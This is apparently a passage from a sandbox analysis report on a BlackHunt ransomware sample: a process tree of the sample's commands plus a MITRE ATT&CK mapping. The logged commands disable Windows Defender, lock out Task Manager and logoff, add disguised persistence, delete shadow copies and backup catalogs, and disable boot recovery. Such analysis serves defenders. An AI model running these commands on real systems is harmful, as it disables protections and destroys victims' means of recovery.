  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3732
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1536
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:3896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1860
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3760
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3996
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:1132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4848
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:1788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3004
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:4980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1300
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:2252
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4724
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1120
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:1712
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:3592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:3268
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2144
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:4352
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:4456
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:4064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1640
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:956
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2180
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:3792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1708
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2348
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1028
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:3460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:5040
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:2264
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:728
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:1100
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:672
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2216
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1180
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:2056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:4140
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:2100
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4500
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1436
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1232
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:4856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe" /F
  2⤵
  PID:1504
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:1992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2296
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:4160
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:4460
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:5080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:3004
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:1724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:4728
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:3360
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:3792
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4372
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:4128
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:4064
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1140
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:4220
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:3820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:4792
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2332
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:4388
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2080

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2872

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2244

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:4804

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:4176

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery